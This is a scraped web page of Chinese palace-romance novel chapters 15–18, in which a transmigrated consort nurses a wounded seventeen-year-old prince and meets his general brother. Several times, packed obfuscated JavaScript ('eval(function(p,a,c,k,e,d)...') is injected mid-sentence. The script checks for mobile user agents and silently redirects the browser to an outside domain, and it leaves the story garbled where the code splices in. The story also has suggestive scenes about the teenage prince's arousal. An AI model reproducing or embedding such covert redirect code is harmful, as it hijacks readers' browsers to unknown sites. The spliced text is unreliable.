萧槐似乎对沈玉衡的答案相当满意。 沈玉衡学着当日萧槐哄他入睡的拍法,也轻轻拍着萧槐。 气息微弱的天子枕在男妃的膝头,连药也未喝,便静静睡了过去。 感受到萧槐逐渐均匀放松的呼吸声,沈玉衡松了口气。 他抬起头,视线轻轻一瞥,下一秒,猛然生出的冷汗打湿了后背的衣物。 养心殿的窗纸外,映出一个漆黑的人影。 窗纸被刀刃划开一道横向的,长长的口子,露出窥视者含着浓浓杀气的双眼。 沈玉衡绝望地闭了闭眼。 ……为什么是萧烬啊啊啊啊?!! 15.第 15 章 15 一窗之隔,萧烬的影子若隐若现,鬼魅似的看不清实体。 唯有那双晦暗恐怖的漆黑瞳孔,比沈玉衡这辈子看过的所有恐怖片都要惊悚。 萧烬为什么会在这儿? 他在那看了多久? 想到刚刚的一切,沈玉衡脸上一阵红一阵白,不敢与那双眼睛对视。恐惧远胜于羞耻。 他极力克制着颤抖,怕吵醒膝头熟睡的萧槐,更害怕萧烬接下来会做什么。 就算推开萧槐,他这条腿,又能逃多远? 窗外,传来一阵窸窣的动静。 沈玉衡不敢抬头,唇角都是哆嗦的。 不知过了多久,他终于敢一点点抬头。 窗外鬼魅般的人影已经消失,全然没了踪影。 心头萦绕着的那股恐惧,却完全没有消失。 服侍萧槐睡下后,他迅速离开养心殿,御前太监方青照常来迎接他。 沈玉衡犹豫片刻,叫住方青:“方公公,刚才……有什么人经过养心殿吗?” 方青侧身看了看他,道:“奴才一直在殿外守着,并没有见着什么人。” 看沈玉衡若有所思的模样,方青挑眉:“莫非,沈妃在殿内伺候圣上时,看见了什么人?” 沈玉衡连忙摇头:“只是听错了。” 即便告诉方青,又能怎么样? 如果萧槐真能查到萧烬来过养心殿,惩处了他,反而会影响到沈玉衡的救赎进度。 权衡利弊后,他还是决定不告诉任何人。 只不过…… 沈玉衡一想到,自己和萧槐发生的一切,可能都被萧烬看了个遍; 刚才被恐惧压抑的羞耻心,立刻又窜了上来。 沈玉衡脸上蒸的烫烫的,越想越不好意思,真想找个地方打洞钻进去。 虽然他和萧槐没有发生什么实质上的关系,可是,毕竟也是同床…… 回清濯殿的一路上,沈玉衡都有些心不在焉。 系统解除休眠后,得知沈玉衡的遭遇,也吓得不轻。 【宿主,你你你……你会不会看错了?】 系统的声音也哆嗦起来。 【昨天我们都听到了,萧烬被瑶妃的人伤的那么重,连老皇帝都派太医治疗他了,今天怎么可能还有力气翻墙偷窥呢?】 【说不定,那个人不是萧烬,只是来杀人的刺客!】 沈玉衡:“……” 那岂不是更糟糕了! 下了轿辇,他还未站稳,芸豆和茭白就急急忙忙跑了上来。 开口便是一句:“沈妃!九殿下他……” 沈玉衡险些踉跄,心都漏跳一拍。 被扶稳后,沈玉衡立刻问:“萧烬怎么了?” 他觉得自己已经手捧莲花,没什么不能接受的了。 可是听完芸豆的一番话,沈玉衡释然的眼神却平添了几分迷茫。 “你是说……萧烬之前就回来了?” 沈玉衡眨了眨眼,问:“他刚刚离开过清濯殿吗?” “不曾离开。”芸豆老实回答:“刚刚茭白送药时,九殿下还在里面的,许太医刚和其他几个太医来看过,似乎伤得很重,肯定无法走动。” “他伤的很重?” 芸豆点头:“九殿下回来时一身都是血,吓着了许多人……” 提起这事,茭白心有余悸:“没想到瑶妃的人,下手居然那么狠……” 她们并不喜欢这位九殿下,但是看见那副血流成河的恐怖景象,也觉得骇人。 清濯殿外的砖石缝间,至今还飘荡着一片浓重的血腥气息,像挥之不去的雾。 太医们匆匆做了缝合,已经赶回太医院制药去了。 短短半个月时间,已经死了一位皇子,疯了一个妃子,要是九皇子出了事,太医们的脑袋都难保。 而清濯殿内的宫人们,要么对萧烬浑身鲜血的样子望而生畏,要么厌恶他已久,不愿接近。 沈玉衡急急赶回寝殿。 一进门,果然看见地上不规则的好几滩血迹,一路延伸至纱帘后的,沈玉衡的床。 萧烬倒在床上,榻上尽是凌乱不堪的鲜血,红的刺眼。 感受到沈玉衡的靠近,少年按着腹部的伤,默默往后退了退。 他用充满警惕的目光,瞪视着沈玉衡,像是受伤时不许人接近的兽。 那双眼睛虽然凶狠,却也透着几分奄奄一息时的脆弱感。 沈玉衡已经被惨状惊到说不出话。 萧烬还想再后退,被沈玉衡急急忙忙按了下来。 “受伤了就别乱动!” 伤口暂时缝合了,但萧烬伤成这样,绝对不能活动身子。他将带血的被褥抱到一边,喊芸豆和茭白过来帮忙。 沈玉衡照料着萧烬,心里的另一个疑问,却在不断膨胀。 如果萧烬身负重伤,无法出门的话…… 刚才出现在养心殿的黑影,又是谁? 他突然一时有种不现实的感觉,不知道自己的记忆和眼前的鲜血哪一个更真实。 身后, 萧烬的眼神直勾勾地盯着他,完全不似刚刚那样痛苦。 向来厌恶脏污的沈玉衡,看见他的血污脏了床榻,居然丝毫也不动怒。 他期待中那张因愤怒而扭曲的脸,并没有出现。 萧烬觉得失望。 他想看看,沈玉衡到底要将“母妃”这个角儿,演上多久。 当沈玉衡抱着干净被褥靠近时,少年伸出沾满鲜血的手。 而沈玉衡早就习惯了自己工作时,会过来随意捣乱的小孩子。 他侧过头,萧烬的血留在他唇边洁白的皮肤上,血的鲜红,尤为刺眼。 被褥散发着温暖的阳光气息,短暂驱散了血腥,却又立刻被血液侵略性的铁锈味占据。 萧烬眼前浮现出,养心殿内二人亲密相近的场景。 他盯着沈玉衡的唇角。 如果父皇曾咬破过这里,是不是也曾见过这一抹鲜红的色彩。 萧烬暗暗嗤笑,不自觉咬紧了牙。 若不是他亲眼所见,真不敢相信。 口口声声说什么“母妃”,却在自己被关入冷宫后,跑去和男人耳鬓厮磨,完全忘了自己说过什么。 现在,他只是用这片血海,提醒一下沈玉衡罢了。 成霄问他,何以付出这么大的代价,去试沈玉衡这样的人。 追随他多年的死士跪下来,求他三思。 萧烬果然和成霄担心的一样,伤口开裂血流不止,险些把几个太医都逼到束手无策。 成霄无法理解的是,萧烬只是恨他看到的一切; 包括此时在他眼前,故作一副担忧模样的沈玉衡。 萧烬死死抓住沈玉衡的衣摆,失血过多,让他本就苍白的脸色更加病白,几乎失去了全部温度。 昏迷前,他的手被什么温热的东西盖住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14436480|152992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他恍然间,看见一个与自己有几分相似的女人。 女人摸了摸他的手,转身走出冷宫,这里的每一株草木,萧烬都无比熟悉。 他循着母妃的倩影,走至一个幽暗僻静,荒废了的宫殿。 在那里,他听见里面传来母妃和一个男人奇怪的声音,时而欢愉高昂,时而低沉痛苦。 是母妃,和他的皇兄。 这样的场景,他已经不知在梦里见到了多少次。 萧烬的心脏狂跳,宛如擂鼓。 他握紧手里的刀刃,推开门扉,闯了进去。 然而。 门里,并没有他记忆里狰狞淫/乱的画面。只有一个清秀漂亮的男子,微笑着,在轻轻哄他父亲睡觉。 手里的刀子,轰然坠地。 - 夜里,萧烬的情况不知为何突然变差了。 几个老太医不间断地在旁边守着,生怕出了什么事。 【怎么办怎么办……】系统都慌了:【宿主,要是救赎对象死了可怎么办啊!!我觉得这次肯定行的,根本没做plan B啊!!】 沈玉衡安慰系统:“没事,他可以挺过来的,太医都说,应该不会有性命之忧。” 许太医劝他休息一会,但萧烬一直死死握着沈玉衡的手不肯松开,他也只能待在这里。 而且,就算现在去休息,他也根本睡不着。 沈玉衡看着少年呓语不断,布满汗丝的脸颊, 说到底,萧烬还只是个十七岁的孩子。 这次的事情,是他不好。 他不该为了培养萧烬和苏澄的感情,把他一个人丢在冷宫,承受那些伤痛。 沈玉衡坐在床边,陪他一起度过漫漫长夜。 - 萧烬醒来时,浑身浸在一层冰冷的汗里,刚从鬼门关里走过一趟的人,感觉身体都焕然一新。 他恢复的快,动了动手指,除去有些虚弱外,并无什么大碍。 萧烬想要活动右手时,忽然感觉自己的右手,正握着什么东西。 他看过去,沈玉衡安静的睡颜一下子闯入了视线。 男子的长发乌黑柔软,两鬓的碎发贴在他的手背上,毛茸茸的,像是在人心上挠痒痒似的。 沈玉衡的脸干净极了,一点不似从前那样浓妆艳抹,却越来越有一种天然去雕饰的清透气质。 他握着萧烬的手,就这么静静地睡着了,发出均匀的呼吸声。 萧烬厌恶地甩开沈玉衡的手。 却又鬼使神差的,凑过去,用手指撬开了年长者的嘴唇。 柔软的唇肉无意识地搭在少年的手指上,像是在做出吮吸的动作。 萧烬浑身一震,触电般地抽出手指,感觉小腹一片湿热,竟是伤口开裂,又被鲜血浸透了。 察觉动静的沈玉衡揉着眼睛起来,看见萧烬醒来,还没来得及开心一秒,就看见了他小腹的那片血迹。 他急急忙忙喊了许太医的名字,想要查看萧烬的伤势,少年却死死抓着被褥,任由伤口裂的更大也不肯松手。 “九殿下,别闹了!” 看着好不容易长好的伤口又裂了,沈玉衡也着急,他想让萧烬松手,却骤然碰到了伤口附近的一处…… 萧烬脸色煞白,瞬间挥开沈玉衡的手,恶狠狠的语气:“离我远点!” 沈玉衡红着脸避开他的视线,默默退了回去。 他……他也不知道是这种情况啊! 16.第 16 章 16 沈玉衡尴尬地收回目光,匆匆替他盖好被子。 嘴上还不忘安抚:“没事没事,谁都有这样的时候。” 萧烬冷了目光。 沈玉衡一副司空见惯的样子,仿佛是早就习惯了这档子事似的。 也对。 除了他父皇,沈玉衡入宫前还有数不清的情郎。论及这些事,有谁会比他更熟悉呢? 不过是人尽可夫…… 萧烬想嘲讽他,却一点都笑不出来,整个人都像是浸在冰窟里似的。 锅从天上来的沈玉衡,真的没想到,居然会发生这种事故。 穿书前,他园里的孩子们一个个都是小豆丁,四五六岁,什么也不懂,只顾玩闹。 萧烬虽然也是孩子,但毕竟已经十七岁……正是最血气方刚的年纪。 晨起时会有这样的反应,也属正常。 许太医受他呼唤跑进屋,却又被沈玉衡微红着脸劝了出去。 他从许太医那儿拿了一些替换用的,缠绕伤口的薄纱,递给萧烬。 萧烬接了过去,背过身子。 沈玉衡看着他的背影,两瓣唇开开合合,犹豫着不知道该不该说出口。 “萧烬,”他终于说出口,一字一顿地问:“昨日,你有没有去过……” “什么?”萧烬微微侧头。 “……算了,没什么事。” 沈玉衡叹气。 萧烬伤成这样,还被怀疑,可能又要动怒。 在养心殿时,他被窗外的那双眼睛吓得不轻。 现在想来,萧烬与他父兄的长相都有几分相似,是其他皇子也说不定。 不过……谁那么变态,偷看自己老爹睡觉? 沈玉衡不理解。 等少年换好薄纱,恢复了平日那副冷淡寡言的模样后,沈玉衡才准太医们进来探视。 许太医和一群老太医围在萧烬的伤口旁,检查许久,确认他的伤势略有好转,全都松了口气。 宫里事故频频,九皇子又是沈妃养着的皇子; 对于这位老皇帝现下最宠爱的男妃,他们不敢不重视。 一个老太医恭维上前:“微臣有一副祖传的方子,对祛疤有奇效。” 说着,老太医从袖口取出一盒蓝银雕花盒的膏药,送给沈玉衡。 “待到刀口愈合后,一日三次涂抹在疤痕处,一个月后便能起效。” 萧烬的伤口深至骨骼,虽然现在被薄纱包裹看不清样子,但疤痕一定浅不了。 不论是沈玉衡带过的孩子,还是皇宫里的孩子,每一个都是身边人娇惯养大的宝贝,身上一丁点伤疤都看不见。 萧烬还年轻,却已经留下了这么大一道伤疤。 所有人忙前忙后治了萧烬几天,那道恐怖骇人的伤口总算是勉强愈合,开始重新长肉了。 伤口恢复到可以涂抹膏药的程度,沈玉衡立刻就取出了那盒祛疤膏。 但萧烬自然是不肯的。 他不想让沈玉衡再接近自己,可在这件事上,沈玉衡又出奇的强硬。 “不涂药,你难不成想要留疤么?” 萧烬面无表情:“无所谓。” “……不行。”沈玉衡不能让他随便了自己,劝道:“将来你纳了妃子,这么大的伤疤,会吓着姑娘的。” 妃子? 萧烬听到这个说辞,低低笑了一声。 沈玉衡本人似乎也发现这个措辞不太对,清了清嗓子:“将来你娶妻,也是一样的……” 他指尖沾了点膏体,小心翼翼地轻触上萧烬腹部,那一条仍然泛着猩红色彩的刀口。 刚刚还想讥讽他的萧烬,瞬间绷紧了腰,不作声了。 他怔然垂眸,视野里,沈玉衡一手撑着床榻,一手轻轻触碰着他。 男子的眼睫轻飘飘的立在那儿,像是扇动的黑色鸟羽; 一副小心谨慎的样子,专注地盯着他的身体。 萧烬死死咬住唇,瞬间满嘴的铁锈味,努力用疼痛驱散身体的异常。 沈玉衡看他不再抵抗,还以为是自己那娶妻的说辞有了作用。 他将祛疤膏均匀涂开以后,还没来得及有成就感,就看见萧烬那,似乎又…… 沈玉衡一下僵硬了身体,赶紧抽手回来。 少年人血气方刚没什么问题……可是这也太…… 有反应的人不是他,沈玉衡脸上却红的厉害。 沈玉衡站起身,尴尬地装没看见,赶紧离开了房间。 萧烬看着他落荒而逃般的背影,死死抓着床单,几乎把指甲攥进肉里,手心都掐住了血红色。 和萧烬的耻辱相比,沈玉衡的那点尴尬简直微不足道。 他恨沈玉衡总是胡乱上手撩拨,却更痛恨这具胡乱反应的身体,恨不得生生碾碎自己那处血肉。 前世他不曾渴求过任何人,这一次,也是一样。 不会再有下一次了。 - 沈玉衡才走出房间,就听见系统上线的提示音。 【宿主!你刚刚是不是又触发什么奇奇怪怪的剧情了,我怎么又被休眠了?】 他心虚哈哈:“没有啊。” 说谎也说不利索,沈玉衡哼唧着搪塞过去。 不远处,突然传来茭白激动的声音:“沈妃!好消息——” 他扶住健步跑来的茭白:“怎么了?慢慢说。” 茭白气喘吁吁地指着门口的方向:“沈妃!圣上准许沈将军进宫了!!就在外面呢!” 沈玉衡吓一跳,问:“哪个沈将军?” 沈家老爷与长公子都从武,皆是将军名号。 “是长公子!” 茭白省略了他们写信回去的内容,满脸是笑地告诉沈玉衡:“今日陛下早朝后,长公子单独找了陛下……后来陛下便派人送长公子进宫了!他一定是来探望沈妃你的!” 沈玉衡飞快在脑海里翻阅了一遍原书,把有关自己兄长的部分都拎出来看了看。 沈家的长公子,叫沈云璟,十八岁时,曾率军击退匈奴,夺回大周数座城池,被萧槐亲自封为定远大将军。 从边境死地捡回萧烬的人,也是他的这位大哥。 腿伤未愈,沈玉衡让周源搀着自己,快一些赶过去。 清濯殿门口,几个年纪小的宫人探头探脑张望着,想一睹传说中那位定远大将军的长相。 沈玉衡却有点紧张。 原因无他, 沈玉衡的这位云璟大哥,他……他恐同啊!! 原主天生好男色,又从小到大被家里娇宠长大,从来没隐藏过自己的取向。 但原主从来不敢把那些男人往家里带。 毕竟,他十分清楚沈云璟的脾气。 有一次,原主的爱慕者在沈家附近徘徊不愿离开,后来,他鼻青脸肿挂在了一间酒家的房梁上,哆哆嗦嗦不知道该怎么下来。 这些腌臜事,是万不能被沈云璟看到的。 他是习武之人,个性刚强,最看不惯男子与男子厮混在一起。 也是因此,原主最最不满的亲人,就是他。 原主和家里断了联系后,父亲时时挂心,偶尔还会写信给芸豆茭白,打听原主的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他弟弟就算好男色,他也能勉强接受,但是……至少要选一户门当户对的人家,挑一个好些的对象。 这样一个昏庸的老皇帝,实在不是什么好选择。 不多时,清濯殿的大门被推开,一个穿着素白色纹银衣衫的青年推开了门。 看见这张熟悉的脸褪去了浓妆艳抹,转而变成一张清秀干净的脸蛋。 连沈云璟也愣了几秒。 他反应快,下一秒便跪下行礼:“拜见沈妃。” 沈玉衡诚惶诚恐地把沈云璟扶起来。 碰到沈云璟那条胳膊前,沈玉衡没想到世上竟还有这种肌肉,又硬又沉,好像身体里注了铅水。 谁要是被他一拳放倒,肯定得疼死。 沈玉衡扶到一半,没好全的腿脚痛的他一皱眉。 沈云璟皱眉,扫了他一眼,训小孩似的:“脚崴了?怎么搞的?” 虽然和沈玉衡闹了种种不愉快,但他心里,自己永远都是个该照顾弟弟们的大哥。 “不小心扭的。” “什么时候?” “……” 沈云璟盯着他,气势逼人:“我问你,什么时候扭的。” 面对刨根问底的提问,沈玉衡也不知道怎么回答,小声嘟囔着说了几个字。 沈云璟用练兵时的语气:“大点声。” 沈玉衡大了点声:“……侍……寝……的时候……” 听清“侍寝”这两个字后的沈云璟:“……” 沈玉衡能从他的表情,读出一行清晰的大字—— 世间竟有如此淫/乱之事! 17.第 17 章 17 看见沈云璟露出那种“南铜真可怕”的表情,沈玉衡真是欲哭无泪。 是他想侍寝的吗?! 冤枉啊!! 沈玉衡干咳两声,领沈云璟进殿:“哥哥,进来说话。” 沈云璟顿了一顿,眼底是不可置信的神情。 ……沈玉衡,居然喊他哥哥? 他已经不记得,沈玉衡有多久没喊过他哥哥了,现在怎么突然这样亲昵地称呼他? 沈云璟的脸色霎时黑了一半。 还能是什么原因。 闯祸了呗。 沈云璟眉间皱纹越来越深,连看到太监周源搀扶沈玉衡进屋,都觉得两人之间距离太近,太过暧昧。 沈玉衡:“……” 总感觉背上凉飕飕的…… 快要抵达寝殿了,沈玉衡没有进去,而是唤来宫人,让他们把院子里的石桌收拾出来。 清濯殿的院子里有一片小小的竹林,面积不大,但是清风徐徐,竹叶在金光下轻轻摇曳,也十分清雅。 沈云璟看了看大门紧闭的寝殿,看了看沈玉衡略带不自然的侧脸。 “为何不入内殿?” 看沈玉衡没说话,沈云璟的脸色更黑了一成:“你不会将男人藏在……” “没有没有。”沈玉衡立刻否认:“只是九殿下现在正在寝殿休息,他重伤初愈,还是不要进去打扰了……” 沈云璟盯着他,没有说话,也不知道有没有相信他。 沈玉衡是真的有点怕这个将军大哥了。 系统鼓励他:【宿主,勇敢一点,大哥手上兵马很多,要是好感度拉高了,肯定可以保护你的!】 沈玉衡觉得系统说得对。 他从前没有过兄弟姐妹,现在有个靠谱大哥,也想尽力处好关系。 然而, 当沈云璟知道沈玉衡与萧烬同住一屋,还让他为自己夜夜守夜的时候,险些把手里的杯子砸了。 难怪。 难怪家里的侍女急急忙忙出宫送信,请他进宫探视,原来是这个原因! 当初沈云璟在边境捡到萧烬的时候,那孩子十七岁,瘦的可怕,被带回军营后高烧昏迷了四五天才醒过来,连话都说不出来。 他料定,沈玉衡一定是强迫了萧烬。 这蠢弟弟! 沈云璟拎小鸡似的,把一脸懵逼的沈玉衡拎起来,挑着眉咬着牙问:“是被发现了?让我给你擦屁/股来了?” 沈玉衡懵:“发现什么?” “你还装蒜?”沈云璟冷笑着捏起他的下巴,晃了晃:“你若不是出事了,为何要急着让我进宫?” “我不是……” “顶嘴!” “……” 冤枉啊—— 芸豆和茭白端着酒水过来,看见这一幕,吓得赶紧过来劝架。 芸豆自责道:“毕竟事关内宫,我和姐姐担心送信途中出什么差池,这才没有写明原因……” 沈云璟扫了一眼她们:“到底是什么原因?” 侍女们看着沈玉衡,支支吾吾。 沈云璟把沈玉衡丢到一边玩树叶去,坐回来:“你们说吧。” 芸豆和茭白这才肯开口。 “最近……沈妃为了照顾九殿下,常常受伤受委屈,我们才想着,请长公子进宫帮忙。” 沈玉衡……受伤?受委屈? 沈云璟简直不敢相信自己听到了什么。 一听说宫内出了事,他第一反应便是沈玉衡惹了祸,要求家里帮忙。 沈玉衡那样无法无天的狂妄脾气,和家里闹掰后,居然主动低头让他们进宫…… 肯定是犯了什么自己解决不了的弥天大错了。 沈云璟直接拦了信,不让父亲担心,自己入宫探望。 他是兄长,自然会帮弟弟解决问题。 不过,该有的教训,一个都少不了。 从前在沈家,有父亲护着他,沈云璟不好施展拳脚。 离了沈家,可就不一样了。 然而,沈云璟的诸多计划,在听到“沈玉衡受委屈”之后,一下子烟消云散。 他弟弟这样放肆的人,居然还会受谁的委屈? - 沈玉衡被沈云璟丢到一边玩树叶时,系统已经快急冒烟了。 【完了完了……宿主你到底做了什么?!侍女居然偷偷写信回沈家喊帮手?!】 “我也不知道啊。”沈玉衡一脸无辜地撕树叶玩:“我平时给她们的月俸和零用只多不少,不应该啊……” “小玉。”沈云璟的声音从背后传来。 沈玉衡过了好一会,才反应过来这声“小玉”是在喊他。 他蹲在地上小心翼翼地回头,看见沈云璟正坐在石桌前,点了点桌面:“过来。” 沈玉衡赶紧老老实实挪过去。 上桌后,沈云璟给他添了杯茶,“啪”的一下拍在沈玉衡面前。 “九殿下平日待你怎么样?” “挺好的。” 沈云璟气得嘴角抽搐,额头青筋都凸起了。 “好到把你摔地上?害你到现在还带着这条伤腿?” 沈家世代将门,哪一个沈家子弟不是让人闻风丧胆的存在? 怎么就他沈玉衡,连个孩子都能随便欺负? 还有那个姓萧的…… 当初把他带回京城时,沈云璟还可怜他自幼离宫,流落民间,现在想来,也是个欠收拾的。 沈云璟越想越气,起身就要进殿去找萧烬。 沈玉衡费了九牛二虎之力才安抚住他。 他倒不是多心疼萧烬。 他是心疼这几天努力照顾萧烬的自己。 ……好不容易才让萧烬恢复了一些,沈云璟千万别把他又打废了啊!! 好在沈云璟能够进宫探视的时间并不长,按着沈玉衡了解了一些他的近况,御前那边就派人来催了。 是时候离开了,沈云璟凶巴巴的脸突然陷入沉默。 但他毕竟是将门出身,没有那么多文人的弯弯肠子,他看了一眼沈玉衡,说了声“我走了”,便干脆利落地起身。 沈云璟刚一跨出殿门,就看见沈玉衡鬼鬼祟祟地跟着自己,还支开了周围的宫人。 他打量了一眼沈玉衡,知道他有话要说:“何事?” 沈云璟脚步顿住。 一提起孟谦这个名字,他就拳头痒痒。 孟谦不过就是个徒有其貌的流氓小官,他在前朝和孟谦有过来往,当时就厌恶他那副惺惺作态的样子。 后来,沈玉衡和孟谦有私情的传闻渐渐传播开来,他才知道,自己的弟弟居然被孟谦给骗上了床。 喜欢男人也就算了,居然还喜欢这种货色…… 沈云璟很是怀疑弟弟的眼光。 他还以为沈玉衡进宫后,能和孟谦断了联系,万万没想到,沈玉衡又重提了故人的名字。 沈云璟脸都是黑的:“你不会又……” 沈玉衡拉了拉他的衣摆,为难又委屈:“最近孟大人一直在给我写信,我也不知道怎么回信,实在有些尴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457455|152992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尬……” “哥,你在京城的这段时间,抽空去和孟大人说说吧,我现在已经是圣上的男妃,不应该再收这些信件。” 沈云璟愣住。 孟大人,是说孟谦?他弟弟的那个老相好? 沈玉衡有多喜欢孟谦,他有多清楚就有多不满,没想到沈玉衡如今不仅性格变好了,眼神居然也变好了。 沈云璟沉重了一路的心脏,终于变得轻松了一些。 “孟谦那边,我会处理好的。”沈云璟拍了拍他的脑袋,可靠的语气:“他要是再敢动你,老子打死他丫的。” 沈玉衡装乖成功,得逞地笑了笑。 有哥哥就是靠谱啊! 系统也高兴极了:【聪明啊宿主!孟谦是二皇子的人,大哥去揍孟谦,趁机也让沈家和二皇子阵营断了】 如果直接告诉沈家兄弟或是沈父,让他们不要和二皇子合作,赶紧割席,他们肯定是不相信的。 如此一来,沈家和二皇子阵营结了仇,再想合作就很难了。 等到萧烬登基,那个死孩子也就掏不出罪证,无法证明他与二皇子阵营勾结了。 送走了沈云璟,沈玉衡回到寝殿,想把孟谦寄给他的剩下的信件处理掉。 然而,当他拿出那些信笺的时候,床榻上的萧烬始终盯着他,一语不发。 他突然问:“你刚刚在和谁说话?” “我哥。”沈玉衡坐下来,边拆信边回答:“他进宫来看我。” 还没来得及看清信上的文字,“唰”的一下,他手里的信便被抢去了。 萧烬不知何时站在了他身后,攥着那封信,低眉冷怒道:“既是我的母妃,为何还在这里,看外人的信件?” 沈玉衡惊讶了一瞬,没想到萧烬会在这时,认可他是他的“母妃”这件事。 这么说,他照顾萧烬这么久,果然还是有用的了?! 沈玉衡藏好欣喜的表情,告诉萧烬:“写给我的,我为什么不能看?再说,我看完就烧掉,谁会知道?” “为何要看?”萧烬的眼神愈来愈冷:“你不是父皇的人吗?为何对其他男人感兴趣? 沈玉衡辩解:“我是担心,信里万一写了什么有用的内容呢?譬如前朝近况,二殿下那边的情报,或是其他什么……” 他磕磕绊绊的解释,换来萧烬一声冷哼。 他把手里的信摔回给沈玉衡,“有用?那你把它们念出来也无妨——念吧。” 念就念,他还怕了不成? 沈玉衡翻开信纸,下一秒便陷入了沉默:“……” “我再换一封。” 不等萧烬同意,沈玉衡又拆了第二封,第三封信。 可是内容却都是非常接近,甚至一模一样的。 ……孟谦你能不能写点别的?! 不是好不容易才送到他这儿的信件吗?怎么翻来覆去,写的还是那几句“翻红浪”,“银枪”,“花蕊”…… 各式各样的荤词荤句,一看就是从什么黄色小话本上照抄来的,清一色的复制粘贴。 好歹换个新颖点的句子啊! 沈玉衡不敢相信,继续在这些信里寻找更有深意的内容。 这几封信,当初孟谦表现的非常重视,为了防止沈玉衡不读信,他还做出过各种威胁。 应该不止这么简单吧? 然而,在沈玉衡一遍遍翻看,寻找之后,他发现了一件事…… 坏了,这些信,好像真的是纯荤的某棠文学。 竟然!完全!没有!一丁点有用的情报! 18.第 18 章 18 看着沈玉衡霎时僵硬的背影,萧烬一脸嘲讽:“怎么不念了?” 念? 沈玉衡看着这一封封荤信,耳根都红透了。 念不了一点好吗!! 这都什么虎狼之词啊!! 他干咳两声,为了把这件事搪塞过去,拿出祛疤膏,想要再给萧烬上一次药。 萧烬的脸色瞬间微妙起来。 沈玉衡反应了一秒,才想起白天的事,刚刚才降温的脸颊又烫了起来。 他伸手,把祛疤膏递给萧烬:“那个、要不……你自己涂……?” 萧烬盯着他:“我不会。” 沈玉衡:“……” 沈玉衡比萧烬还紧张。 万一,萧烬又……了怎么办?! 沈玉衡在脑海里小声呼唤系统,想让它帮忙想想办法。 系统发出没有感情的机械音:【哔。由于检测到宿主进入私密剧情,系统已自动开启休眠模式……】 沈玉衡:“……” 侍寝就算了,为什么上药也算私密剧情啊! 进退两难,沈玉衡只能艰难打开药盒的盖子,硬着头皮给萧烬上药。 他小心翼翼地解开少年衣物,看见那一道触目惊心的刀口,终于冷静了许多。 当初萧烬被囚冷宫,整夜受刑,才留下这道痕迹。 沈玉衡一直都很后悔,要不是他为了让萧烬和苏澄凑cp,也不会有这道刀口了。 他定了定心,指尖沾上药膏,小心谨慎避开某些部位; 生怕自己不经意的触碰,又撩拨了少年敏感的神经。 暗夜时分,一室寂静,只有沈玉衡伏在床边,轻轻活动着灵活的手指为他上药。 萧烬微微垂眸。 看见沈玉衡这番谨小慎微的模样,少年不禁心中暗笑。 沈玉衡明明以长辈的身份高傲自居,可是,当萧烬受伤后,他却这样一副卑微小心的做派,丝毫没有威严可言。 他不屑沈玉衡碰他,更厌恶曾因此动了情/欲的自己。 然而, 当药膏涂抹均匀,那双手离自己远去的时候,他又莫名觉得焦躁。 萧烬伸手移向小腹,刀口的缝合线略微粗糙,有些扎手。 过去,他曾经将一只捏死的蝉,放到母妃的手里。 如果他撕开这里的话…… 沈玉衡,会不会露出和母妃一样的表情? - 翌日。 沈玉衡刚刚睡醒梳洗好,就听见芸豆激动地跑了过来,边跑边喊:“沈妃,老爷来信了!是写给您的!” 沈玉衡好奇地眨了眨眼。 “老爷”说的是原主的爹,沈家家主沈崇。 读过原书剧情的沈玉衡,挺同情沈崇。 作为名扬四海的镇国大将军,沈崇武德充沛,年轻时曾多次迎战匈奴,杀的他们片甲不留。 传闻他的名字可止小儿夜啼,世人无不惧怕其威严。 但是在内宅,沈崇的日子却并不顺利。 爱妻早逝后,沈崇独自把三个孩子带大,其中最最宠爱的儿子,就是爱妻生前诞下的小儿子玉衡。 沈崇对沈玉衡可谓是百依百顺,没有一件事违拗他的意思,无止境的溺爱。 原主因此被惯出了一身的毛病,对沈崇这个父亲也没有半分尊敬,在家也将他当做空气,不闻不问。 原书里,萧烬登基后,把原主丢去五马分尸,沈崇几乎快疯了。 在沙场征战了一辈子的老将军,对着曾经不屑的文臣权臣委曲求全,甚至不惜下跪,求他们为自己的小儿子争取一条活路。 原主死后,沈老将军一病不起,不到半年就撒手人寰了。 而现在,沈云璟前脚刚出宫,后脚沈崇的信就送到了; 他一定是听说了沈玉衡在宫中发生的事,才写信给沈玉衡的。 沈玉衡拆信笺的时候,心里一直在祈祷—— 大哥千万不要什么都告诉父亲啊! 侍寝时受伤那种多余的事情,一个字都不要提!! 沈玉衡眯起眼,紧张不安地浏览起信纸上的文字。 好在,信里除了一些日常的慰问以外,就没有什么多余的内容了。 好久没有和小儿子联络,沈崇也很紧张,不敢说些有的没的。 沈玉衡读完信后,怪感动的,立刻让人备好纸笔,写了一封回信。 听说沈玉衡居然还写了回信,芸豆和茭白简直惊喜到不可置信。 茭白:“沈妃居然肯写信给老爷了!老爷知道一定很高兴……” 芸豆:“别感慨了,赶紧托人送去!” 沈玉衡愿意和家里重新联络上,她们这些在沈家长大的人,看在眼里都觉得欣慰。 接下来的半个月,沈家陆陆续续派人传信。 